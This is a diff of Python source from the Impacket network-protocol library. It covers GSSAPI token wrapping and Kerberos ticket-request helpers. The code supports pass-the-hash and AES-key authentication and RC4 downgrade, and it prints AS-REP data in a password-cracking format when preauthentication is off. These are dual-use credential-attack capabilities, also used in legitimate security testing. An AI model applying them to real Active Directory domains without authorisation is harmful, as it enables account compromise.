+    # 1.2.2. Per-message Tokens - Wrap
+    class WRAP(Structure):
+        structure = (
+            ('TOK_ID','<H=0x0102'),
+            ('SGN_ALG','<H=0'),
+            ('SEAL_ALG','<H=0'),
+            ('Filler','<H=0xffff'),
+            ('SND_SEQ','8s=b""'),
+            ('SGN_CKSUM','8s=b""'),
+            ('Confounder','8s=b""'),
+        )
+
+    def GSS_GetMIC(self, sessionKey, data, sequenceNumber, direction = 'init'):
+        GSS_GETMIC_HEADER = b'\x60\x23\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02'
+        token = self.MIC()
+
+        # Let's pad the data
+        pad = (4 - (len(data) % 4)) & 0x3
+        padStr = b(chr(pad)) * pad
+        data += padStr
+ 
+        token['SGN_ALG'] = GSS_HMAC
+        if direction == 'init':
+            token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + b'\x00'*4
+        else:
+            token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + b'\xff'*4
+
+        Ksign = HMAC.new(sessionKey.contents, b'signaturekey\0', MD5).digest()
+        Sgn_Cksum = MD5.new( struct.pack('<L',15) + token.getData()[:8] + data).digest()
+        Sgn_Cksum = HMAC.new(Ksign, Sgn_Cksum, MD5).digest()
+        token['SGN_CKSUM'] = Sgn_Cksum[:8]
+
+        Kseq = HMAC.new(sessionKey.contents, struct.pack('<L',0), MD5).digest()
+        Kseq = HMAC.new(Kseq, token['SGN_CKSUM'], MD5).digest()
+        token['SND_SEQ'] = ARC4.new(Kseq).encrypt(token['SND_SEQ'])
+        finalData = GSS_GETMIC_HEADER + token.getData()
+        return finalData
+   
+    def GSS_Wrap(self, sessionKey, data, sequenceNumber, direction = 'init', encrypt=True, authData=None):
+        # Damn inacurate RFC, useful info from here
+        # https://social.msdn.microsoft.com/Forums/en-US/fb98e8f4-e697-4652-bcb7-604e027e14cc/gsswrap-token-size-kerberos-and-rc4hmac?forum=os_windowsprotocols
+        # and here
+        # http://www.rfc-editor.org/errata_search.php?rfc=4757
+        GSS_WRAP_HEADER = b'\x60\x2b\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02'
+        token = self.WRAP()
+
+        # Let's pad the data
+        pad = (8 - (len(data) % 8)) & 0x7
+        padStr = b(chr(pad)) * pad
+        data += padStr
+
+        token['SGN_ALG'] = GSS_HMAC
+        token['SEAL_ALG'] = GSS_RC4
+
+        if direction == 'init':
+            token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + b'\x00'*4
+        else:
+            token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + b'\xff'*4
+
+        # Random confounder :)
+        token['Confounder'] = b(''.join([rand.choice(string.ascii_letters) for _ in range(8)]))
+
+        Ksign = HMAC.new(sessionKey.contents, b'signaturekey\0', MD5).digest()
+        Sgn_Cksum = MD5.new(struct.pack('<L',13) + token.getData()[:8] + token['Confounder'] + data).digest()
+
+        Klocal = bytearray()
+        from builtins import bytes
+        for n in bytes(sessionKey.contents):
+            Klocal.append( n ^ 0xF0)
+
+        Kcrypt = HMAC.new(Klocal,struct.pack('<L',0), MD5).digest()
+        Kcrypt = HMAC.new(Kcrypt,struct.pack('>L', sequenceNumber), MD5).digest()
+        
+        Sgn_Cksum = HMAC.new(Ksign, Sgn_Cksum, MD5).digest()
+
+        token['SGN_CKSUM'] = Sgn_Cksum[:8]
+
+        Kseq = HMAC.new(sessionKey.contents, struct.pack('<L',0), MD5).digest()
+        Kseq = HMAC.new(Kseq, token['SGN_CKSUM'], MD5).digest()
+
+        token['SND_SEQ'] = ARC4.new(Kseq).encrypt(token['SND_SEQ'])
+
+        if authData is not None:
+            from impacket.dcerpc.v5.rpcrt import SEC_TRAILER
+            wrap = self.WRAP(authData[len(SEC_TRAILER()) + len(GSS_WRAP_HEADER):])
+            snd_seq = wrap['SND_SEQ']
+
+            Kseq = HMAC.new(sessionKey.contents, struct.pack('<L',0), MD5).digest()
+            Kseq = HMAC.new(Kseq, wrap['SGN_CKSUM'], MD5).digest()
+
+            snd_seq = ARC4.new(Kseq).encrypt(wrap['SND_SEQ'])
+ 
+            Kcrypt = HMAC.new(Klocal,struct.pack('<L',0), MD5).digest()
+            Kcrypt = HMAC.new(Kcrypt,snd_seq[:4], MD5).digest()
+            rc4 = ARC4.new(Kcrypt)
+            cipherText = rc4.decrypt(token['Confounder'] + data)[8:]
+        elif encrypt is True:
+            rc4 = ARC4.new(Kcrypt)
+            token['Confounder'] = rc4.encrypt(token['Confounder'])
+            cipherText = rc4.encrypt(data)
+        else:
+            cipherText = data
+
+        finalData = GSS_WRAP_HEADER + token.getData()
+        return cipherText, finalData
+
+    def GSS_Unwrap(self, sessionKey, data, sequenceNumber, direction = 'init', encrypt=True, authData=None):
+        return self.GSS_Wrap(sessionKey, data, sequenceNumber, direction, encrypt, authData)
+
+class GSSAPI_AES():
+    checkSumProfile = None
+    cipherType = None
+
+    class MIC(Structure):
+        structure = (
+            ('TOK_ID','>H=0x0404'),
+            ('Flags','B=0'),
+            ('Filler0','B=0xff'),
+            ('Filler','>L=0xffffffff'),
+            ('SND_SEQ','8s=b""'),
+            ('SGN_CKSUM','12s=b""'),
+        )
+
+    # 1.2.2. Per-message Tokens - Wrap
+    class WRAP(Structure):
+        structure = (
+            ('TOK_ID','>H=0x0504'),
+            ('Flags','B=0'),
+            ('Filler','B=0xff'),
+            ('EC','>H=0'),
+            ('RRC','>H=0'),
+            ('SND_SEQ','8s=b""'),
+        )
+
+    def GSS_GetMIC(self, sessionKey, data, sequenceNumber, direction = 'init'):
+        token = self.MIC()
+
+        # Let's pad the data
+        pad = (4 - (len(data) % 4)) & 0x3
+        padStr = chr(pad) * pad
+        data += padStr
+
+        checkSumProfile = self.checkSumProfile()
+
+        token['Flags'] = 4
+        token['SND_SEQ'] = struct.pack('>Q',sequenceNumber)
+        token['SGN_CKSUM'] = checkSumProfile.checksum(sessionKey, KG_USAGE_INITIATOR_SIGN, data + token.getData()[:16])
+ 
+        return token.getData()
+   
+    def rotate(self, data, numBytes):
+        numBytes %= len(data)
+        left = len(data) - numBytes
+        result = data[left:] + data[:left]
+        return result
+
+    def unrotate(self, data, numBytes):
+        numBytes %= len(data)
+        result = data[numBytes:] + data[:numBytes]
+        return result
+        
+    def GSS_Wrap(self, sessionKey, data, sequenceNumber, direction = 'init', encrypt=True):
+        token = self.WRAP()
+
+        cipher = self.cipherType()
+
+        # Let's pad the data
+        pad = (cipher.blocksize - (len(data) % cipher.blocksize)) & 15
+        padStr = b'\xFF' * pad
+        data += padStr
+
+        # The RRC field ([RFC4121] section 4.2.5) is 12 if no encryption is requested or 28 if encryption 
+        # is requested. The RRC field is chosen such that all the data can be encrypted in place.
+        rrc = 28
+
+        token['Flags'] = 6
+        token['EC'] = pad
+        token['RRC'] = 0
+        token['SND_SEQ'] = struct.pack('>Q',sequenceNumber)
+
+        cipherText = cipher.encrypt(sessionKey, KG_USAGE_INITIATOR_SEAL,  data + token.getData(), None)
+        token['RRC'] = rrc
+
+        cipherText = self.rotate(cipherText, token['RRC'] + token['EC'])
+
+        #nn = self.unrotate(cipherText, token['RRC'] + token['EC'])
+        ret1 = cipherText[len(self.WRAP()) + token['RRC'] + token['EC']:]
+        ret2 = token.getData() + cipherText[:len(self.WRAP()) + token['RRC'] + token['EC']]
+
+        return ret1, ret2
+
+    def GSS_Unwrap(self, sessionKey, data, sequenceNumber, direction = 'init', encrypt=True, authData=None):
+        from impacket.dcerpc.v5.rpcrt import SEC_TRAILER
+
+        cipher = self.cipherType()
+        token = self.WRAP(authData[len(SEC_TRAILER()):])
+
+        rotated = authData[len(self.WRAP())+len(SEC_TRAILER()):] + data
+ 
+        cipherText = self.unrotate(rotated, token['RRC'] + token['EC'])
+        plainText = cipher.decrypt(sessionKey, KG_USAGE_ACCEPTOR_SEAL,  cipherText)
+
+        return plainText[:-(token['EC']+len(self.WRAP()))], None
+
+class GSSAPI_AES256(GSSAPI_AES):
+    checkSumProfile = crypto._SHA1AES256
+    cipherType = crypto._AES256CTS
+
+class GSSAPI_AES128(GSSAPI_AES):
+    checkSumProfile = crypto._SHA1AES128
+    cipherType = crypto._AES128CTS
diff --git a/impacket/krb5/kerberosv5.py b/impacket/krb5/kerberosv5.py
new file mode 100644
index 0000000..7c66a93
--- /dev/null
+++ b/impacket/krb5/kerberosv5.py
@@ -0,0 +1,715 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Helper functions for kerberos
+#   Just starting, TONS of things to do
+#   In fact, make it easier
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+import datetime
+import random
+import socket
+import struct
+
+from pyasn1.codec.der import decoder, encoder
+from pyasn1.error import PyAsn1Error
+from pyasn1.type.univ import noValue, Sequence
+from pyasn1.type.useful import GeneralizedTime
+from six import b
+from binascii import unhexlify, hexlify
+
+from impacket.krb5.asn1 import AS_REQ, AP_REQ, TGS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, PA_ENC_TS_ENC, AS_REP, TGS_REP, \
+    EncryptedData, Authenticator, EncASRepPart, EncTGSRepPart, seq_set, seq_set_iter, KERB_ERROR_DATA, METHOD_DATA, \
+    ETYPE_INFO2, ETYPE_INFO, AP_REP, EncAPRepPart
+from impacket.krb5.types import KerberosTime, Principal, Ticket
+from impacket.krb5.gssapi import CheckSumField, GSS_C_DCE_STYLE, GSS_C_MUTUAL_FLAG, GSS_C_REPLAY_FLAG, \
+    GSS_C_SEQUENCE_FLAG, GSS_C_CONF_FLAG, GSS_C_INTEG_FLAG
+from impacket.krb5 import constants
+from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
+from impacket.smbconnection import SessionError
+from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_OID, asn1encode, ASN1_AID
+from impacket.krb5.gssapi import KRB5_AP_REQ
+from impacket import nt_errors, LOG
+from impacket.krb5.ccache import CCache
+
+# Our random number generator
+try:
+    rand = random.SystemRandom()
+except NotImplementedError:
+    rand = random
+    pass
+
+def sendReceive(data, host, kdcHost):
+    if kdcHost is None:
+        targetHost = host
+    else:
+        targetHost = kdcHost
+
+    messageLen = struct.pack('!i', len(data))
+
+    LOG.debug('Trying to connect to KDC at %s' % targetHost)
+    try:
+        af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0]
+        s = socket.socket(af, socktype, proto)
+        s.connect(sa)
+    except socket.error as e:
+        raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e)
+
+    s.sendall(messageLen + data)
+
+    recvDataLen = struct.unpack('!i', s.recv(4))[0]
+
+    r = s.recv(recvDataLen)
+    while len(r) < recvDataLen:
+        r += s.recv(recvDataLen-len(r))
+
+    try:
+        krbError = KerberosError(packet = decoder.decode(r, asn1Spec = KRB_ERROR())[0])
+    except:
+        return r
+
+    if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:
+        try:
+            for i in decoder.decode(r):
+                if type(i) == Sequence:
+                    for k in vars(i)["_componentValues"]:
+                        if type(k) == GeneralizedTime:
+                            server_time = datetime.datetime.strptime(k.asOctets().decode("utf-8"), "%Y%m%d%H%M%SZ")
+                            LOG.debug("Server time (UTC): %s" % server_time)
+        except:
+            # Couldn't get server time for some reason
+            pass
+        raise krbError
+
+    return r
+
+def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True):
+
+    # Convert to binary form, just in case we're receiving strings
+    if isinstance(lmhash, str):
+        try:
+            lmhash = unhexlify(lmhash)
+        except TypeError:
+            pass
+    if isinstance(nthash, str):
+        try:
+            nthash = unhexlify(nthash)
+        except TypeError:
+            pass
+    if isinstance(aesKey, str):
+        try:
+            aesKey = unhexlify(aesKey)
+        except TypeError:
+            pass
+
+    asReq = AS_REQ()
+
+    domain = domain.upper()
+    serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)  
+
+    pacRequest = KERB_PA_PAC_REQUEST()
+    pacRequest['include-pac'] = requestPAC
+    encodedPacRequest = encoder.encode(pacRequest)
+
+    asReq['pvno'] = 5
+    asReq['msg-type'] =  int(constants.ApplicationTagNumbers.AS_REQ.value)
+
+    asReq['padata'] = noValue
+    asReq['padata'][0] = noValue
+    asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
+    asReq['padata'][0]['padata-value'] = encodedPacRequest
+
+    reqBody = seq_set(asReq, 'req-body')
+
+    opts = list()
+    opts.append( constants.KDCOptions.forwardable.value )
+    opts.append( constants.KDCOptions.renewable.value )
+    opts.append( constants.KDCOptions.proxiable.value )
+    reqBody['kdc-options']  = constants.encodeFlags(opts)
+
+    seq_set(reqBody, 'sname', serverName.components_to_asn1)
+    seq_set(reqBody, 'cname', clientName.components_to_asn1)
+
+    if domain == '':
+        raise Exception('Empty Domain not allowed in Kerberos')
+
+    reqBody['realm'] = domain
+
+    now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
+    reqBody['till'] = KerberosTime.to_asn1(now)
+    reqBody['rtime'] = KerberosTime.to_asn1(now)
+    reqBody['nonce'] =  rand.getrandbits(31)
+
+    # Yes.. this shouldn't happen but it's inherited from the past
+    if aesKey is None:
+        aesKey = b''
+
+    if nthash == b'':
+        # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, 
+        # but I found some systems that accepts all ciphers, and trigger an error 
+        # when requesting subsequent TGS :(. More research needed.
+        # So, in order to support more than one cypher, I'm setting aes first
+        # since most of the systems would accept it. If we're lucky and 
+        # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4.
+        if aesKey != b'':
+            if len(aesKey) == 32:
+                supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
+            else:
+                supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
+        else:
+            supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
+    else:
+        # We have hashes to try, only way is to request RC4 only
+        supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
+
+    seq_set_iter(reqBody, 'etype', supportedCiphers)
+
+    message = encoder.encode(asReq)
+
+    try:
+        r = sendReceive(message, domain, kdcHost)
+    except KerberosError as e:
+        if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
+            if supportedCiphers[0] in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) and aesKey == b'':
+                supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
+                seq_set_iter(reqBody, 'etype', supportedCiphers)
+                message = encoder.encode(asReq)
+                r = sendReceive(message, domain, kdcHost)
+            else: 
+                raise 
+        else:
+            raise 
+
+    # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
+    # 'Do not require Kerberos preauthentication' set
+    preAuth = True
+    try:
+        asRep = decoder.decode(r, asn1Spec = KRB_ERROR())[0]
+    except:
+        # Most of the times we shouldn't be here, is this a TGT?
+        asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
+        # Yes
+        preAuth = False
+
+    encryptionTypesData = dict()
+    salt = ''
+    if preAuth is False:
+        # In theory, we should have the right credentials for the etype specified before.
+        methods = asRep['padata']
+        encryptionTypesData[supportedCiphers[0]] = salt # handle RC4 fallback, we don't need any salt
+        tgt = r
+    else:
+        methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0]
+
+    for method in methods:
+        if method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
+            etypes2 = decoder.decode(method['padata-value'], asn1Spec = ETYPE_INFO2())[0]
+            for etype2 in etypes2:
+                try:
+                    if etype2['salt'] is None or etype2['salt'].hasValue() is False:
+                        salt = ''
+                    else:
+                        salt = etype2['salt'].prettyPrint()
+                except PyAsn1Error:
+                    salt = ''
+
+                encryptionTypesData[etype2['etype']] = b(salt)
+        elif method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value:
+            etypes = decoder.decode(method['padata-value'], asn1Spec = ETYPE_INFO())[0]
+            for etype in etypes:
+                try:
+                    if etype['salt'] is None or etype['salt'].hasValue() is False:
+                        salt = ''
+                    else:
+                        salt = etype['salt'].prettyPrint()
+                except PyAsn1Error:
+                    salt = ''
+
+                encryptionTypesData[etype['etype']] = b(salt)
+
+    enctype = supportedCiphers[0]
+
+    cipher = _enctype_table[enctype]
+
+    # Pass the hash/aes key :P
+    if isinstance(nthash, bytes) and nthash != b'':
+        key = Key(cipher.enctype, nthash)
+    elif aesKey != b'':
+        key = Key(cipher.enctype, aesKey)
+    else:
+        key = cipher.string_to_key(password, encryptionTypesData[enctype], None)
+
+    if preAuth is True:
+        if enctype in encryptionTypesData is False:
+            raise Exception('No Encryption Data Available!')
+
+        # Let's build the timestamp
+        timeStamp = PA_ENC_TS_ENC()
+
+        now = datetime.datetime.utcnow()
+        timeStamp['patimestamp'] = KerberosTime.to_asn1(now)
+        timeStamp['pausec'] = now.microsecond
+
+        # Encrypt the shyte
+        encodedTimeStamp = encoder.encode(timeStamp)
+
+        # Key Usage 1
+        # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the
+        # client key (Section 5.2.7.2)
+        encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)
+
+        encryptedData = EncryptedData()
+        encryptedData['etype'] = cipher.enctype
+        encryptedData['cipher'] = encriptedTimeStamp
+        encodedEncryptedData = encoder.encode(encryptedData)
+
+        # Now prepare the new AS_REQ again with the PADATA
+        # ToDo: cannot we reuse the previous one?
+        asReq = AS_REQ()
+
+        asReq['pvno'] = 5
+        asReq['msg-type'] =  int(constants.ApplicationTagNumbers.AS_REQ.value)
+
+        asReq['padata'] = noValue
+        asReq['padata'][0] = noValue
+        asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value)
+        asReq['padata'][0]['padata-value'] = encodedEncryptedData
+
+        asReq['padata'][1] = noValue
+        asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
+        asReq['padata'][1]['padata-value'] = encodedPacRequest
+
+        reqBody = seq_set(asReq, 'req-body')
+
+        opts = list()
+        opts.append( constants.KDCOptions.forwardable.value )
+        opts.append( constants.KDCOptions.renewable.value )
+        opts.append( constants.KDCOptions.proxiable.value )
+        reqBody['kdc-options'] = constants.encodeFlags(opts)
+
+        seq_set(reqBody, 'sname', serverName.components_to_asn1)
+        seq_set(reqBody, 'cname', clientName.components_to_asn1)
+
+        reqBody['realm'] =  domain
+
+        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
+        reqBody['till'] = KerberosTime.to_asn1(now)
+        reqBody['rtime'] =  KerberosTime.to_asn1(now)
+        reqBody['nonce'] = rand.getrandbits(31)
+
+        seq_set_iter(reqBody, 'etype', ( (int(cipher.enctype),)))
+
+        try:
+            tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)
+        except Exception as e:
+            if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0:
+                if lmhash == b'' and nthash == b'' and (aesKey == b'' or aesKey is None):
+                    from impacket.ntlm import compute_lmhash, compute_nthash
+                    lmhash = compute_lmhash(password)
+                    nthash = compute_nthash(password)
+                    return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC)
+            raise
+
+
+        asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
+
+    # So, we have the TGT, now extract the new session key and finish
+    cipherText = asRep['enc-part']['cipher']
+
+    if preAuth is False:
+        # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
+        LOG.debug('$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'],clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]),
+                                           hexlify(asRep['enc-part']['cipher'].asOctets()[16:])) )
+    # Key Usage 3
+    # AS-REP encrypted part (includes TGS session key or
+    # application session key), encrypted with the client key
+    # (Section 5.4.2)
+    try:
+        plainText = cipher.decrypt(key, 3, cipherText)
+    except InvalidChecksum as e:
+        # probably bad password if preauth is disabled
+        if preAuth is False:
+            error_msg = "failed to decrypt session key: %s" % str(e)
+            raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)
+        raise
+    encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
+
+    # Get the session key and the ticket
+    cipher = _enctype_table[encASRepPart['key']['keytype']]
+    sessionKey = Key(cipher.enctype,encASRepPart['key']['keyvalue'].asOctets())
+
+    # ToDo: Check Nonces!
+
+    return tgt, cipher, key, sessionKey
+
+def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey):
+
+    # Decode the TGT
+    try:
+        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
+    except:
+        decodedTGT = decoder.decode(tgt, asn1Spec = TGS_REP())[0]
+
+    domain = domain.upper()
+    # Extract the ticket from the TGT
+    ticket = Ticket()
+    ticket.from_asn1(decodedTGT['ticket'])
+
+    apReq = AP_REQ()
+    apReq['pvno'] = 5
+    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+    opts = list()
+    apReq['ap-options'] =  constants.encodeFlags(opts)
+    seq_set(apReq,'ticket', ticket.to_asn1)
+
+    authenticator = Authenticator()
+    authenticator['authenticator-vno'] = 5
+    authenticator['crealm'] = decodedTGT['crealm'].asOctets()
+
+    clientName = Principal()
+    clientName.from_asn1( decodedTGT, 'crealm', 'cname')
+
+    seq_set(authenticator, 'cname', clientName.components_to_asn1)
+
+    now = datetime.datetime.utcnow()
+    authenticator['cusec'] =  now.microsecond
+    authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+    encodedAuthenticator = encoder.encode(authenticator)
+
+    # Key Usage 7
+    # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
+    # TGS authenticator subkey), encrypted with the TGS session
+    # key (Section 5.5.1)
+    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
+
+    apReq['authenticator'] = noValue
+    apReq['authenticator']['etype'] = cipher.enctype
+    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+    encodedApReq = encoder.encode(apReq)
+
+    tgsReq = TGS_REQ()
+
+    tgsReq['pvno'] =  5
+    tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
+    tgsReq['padata'] = noValue
+    tgsReq['padata'][0] = noValue
+    tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
+    tgsReq['padata'][0]['padata-value'] = encodedApReq
+
+    reqBody = seq_set(tgsReq, 'req-body')
+
+    opts = list()
+    opts.append( constants.KDCOptions.forwardable.value )
+    opts.append( constants.KDCOptions.renewable.value )
+    opts.append( constants.KDCOptions.renewable_ok.value )
+    opts.append( constants.KDCOptions.canonicalize.value )
+
+    reqBody['kdc-options'] = constants.encodeFlags(opts)
+    seq_set(reqBody, 'sname', serverName.components_to_asn1)
+    reqBody['realm'] = domain
+
+    now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
+
+    reqBody['till'] = KerberosTime.to_asn1(now)
+    reqBody['nonce'] = rand.getrandbits(31)
+    seq_set_iter(reqBody, 'etype',
+                      (
+                          int(constants.EncryptionTypes.rc4_hmac.value),
+                          int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
+                          int(constants.EncryptionTypes.des_cbc_md5.value),
+                          int(cipher.enctype)
+                       )
+                )
+
+    message = encoder.encode(tgsReq)
+
+    r = sendReceive(message, domain, kdcHost)
+
+    # Get the session key
+
+    tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
+
+    cipherText = tgs['enc-part']['cipher']
+
+    # Key Usage 8
+    # TGS-REP encrypted part (includes application session
+    # key), encrypted with the TGS session key (Section 5.4.2)
+    plainText = cipher.decrypt(sessionKey, 8, cipherText)
+
+    encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]
+
+    newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'].asOctets())
+    # Creating new cipher based on received keytype
+    cipher = _enctype_table[encTGSRepPart['key']['keytype']]
+
+    # Check we've got what we asked for
+    res = decoder.decode(r, asn1Spec = TGS_REP())[0]
+    spn = Principal()
+    spn.from_asn1(res['ticket'], 'realm', 'sname')
+
+    if spn.components[0] == serverName.components[0]:
+        # Yes.. bye bye
+        return r, cipher, sessionKey, newSessionKey
+    else:
+        # Let's extract the Ticket, change the domain and keep asking
+        domain = spn.components[1]
+        return getKerberosTGS(serverName, domain, kdcHost, r, cipher, newSessionKey)
+
+################################################################################
+# DCE RPC Helpers
+################################################################################
+def getKerberosType3(cipher, sessionKey, auth_data):
+    negTokenResp = SPNEGO_NegTokenResp(auth_data)
+    # If DCE_STYLE = FALSE
+    #ap_rep = decoder.decode(negTokenResp['ResponseToken'][16:], asn1Spec=AP_REP())[0]
+    try:
+        krbError = KerberosError(packet = decoder.decode(negTokenResp['ResponseToken'][15:], asn1Spec = KRB_ERROR())[0])
+    except Exception:
+        pass
+    else:
+        raise krbError
+
+    ap_rep = decoder.decode(negTokenResp['ResponseToken'], asn1Spec=AP_REP())[0]
+
+    cipherText = ap_rep['enc-part']['cipher']
+
+    # Key Usage 12
+    # AP-REP encrypted part (includes application session
+    # subkey), encrypted with the application session key
+    # (Section 5.5.2)
+    plainText = cipher.decrypt(sessionKey, 12, cipherText)
+
+    encAPRepPart = decoder.decode(plainText, asn1Spec = EncAPRepPart())[0]
+
+    cipher = _enctype_table[int(encAPRepPart['subkey']['keytype'])]()
+    sessionKey2 = Key(cipher.enctype, encAPRepPart['subkey']['keyvalue'].asOctets())
+
+    sequenceNumber = int(encAPRepPart['seq-number'])
+
+    encAPRepPart['subkey'].clear()
+    encAPRepPart = encAPRepPart.clone()
+
+    now = datetime.datetime.utcnow()
+    encAPRepPart['cusec'] = now.microsecond
+    encAPRepPart['ctime'] = KerberosTime.to_asn1(now)
+    encAPRepPart['seq-number'] = sequenceNumber
+    encodedAuthenticator = encoder.encode(encAPRepPart)
+
+    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 12, encodedAuthenticator, None)
+
+    ap_rep['enc-part'].clear()
+    ap_rep['enc-part']['etype'] = cipher.enctype
+    ap_rep['enc-part']['cipher'] = encryptedEncodedAuthenticator
+
+    resp = SPNEGO_NegTokenResp()
+    resp['ResponseToken'] = encoder.encode(ap_rep)
+
+    return cipher, sessionKey2, resp.getData()
+
+
+def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='',
+                     kdcHost = None, useCache = True):
+
+    # Convert to binary form, just in case we're receiving strings
+    if isinstance(lmhash, str):
+        try:
+            lmhash = unhexlify(lmhash)
+        except TypeError:
+            pass
+    if isinstance(nthash, str):
+        try:
+            nthash = unhexlify(nthash)
+        except TypeError:
+            pass
+    if isinstance(aesKey, str):
+        try:
+            aesKey = unhexlify(aesKey)
+        except TypeError:
+            pass
+
+    targetName = 'host/%s' % targetName
+    if TGT is None and TGS is None:
+        if useCache:
+            domain, username, TGT, TGS = CCache.parseFile(domain, username, targetName)
+
+    # First of all, we need to get a TGT for the user
+    userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+    while True:
+        if TGT is None:
+            if TGS is None:
+                try:
+                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
+                except KerberosError as e:
+                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
+                        # We might face this if the target does not support AES 
+                        # So, if that's the case we'll force using RC4 by converting
+                        # the password to lm/nt hashes and hope for the best. If that's already
+                        # done, byebye.
+                        if lmhash == b'' and nthash == b'' and (aesKey == b'' or aesKey is None) and TGT is None and TGS is None:
+                            from impacket.ntlm import compute_lmhash, compute_nthash
+                            LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
+                            lmhash = compute_lmhash(password)
+                            nthash = compute_nthash(password) 
+                            continue
+                        else:
+                            raise 
+                    else:
+                        raise
+
+        else:
+            tgt = TGT['KDC_REP']
+            cipher = TGT['cipher']
+            sessionKey = TGT['sessionKey']
+
+        # Now that we have the TGT, we should ask for a TGS for cifs
+        if TGS is None:
+            serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
+            try:
+                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
+            except KerberosError as e:
+                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
+                    # We might face this if the target does not support AES 
+                    # So, if that's the case we'll force using RC4 by converting
+                    # the password to lm/nt hashes and hope for the best. If that's already
+                    # done, byebye.
+                    if lmhash == b'' and nthash == b'' and (aesKey == b'' or aesKey is None) and TGT is None and TGS is None:
+                        from impacket.ntlm import compute_lmhash, compute_nthash
+                        LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
+                        lmhash = compute_lmhash(password)
+                        nthash = compute_nthash(password) 
+                    else:
+                        raise 
+                else:
+                    raise 
+            else:
+                break
+        else:
+            tgs = TGS['KDC_REP']
+            cipher = TGS['cipher']
+            sessionKey = TGS['sessionKey'] 
+            break
+
+    # Let's build a NegTokenInit with a Kerberos REQ_AP
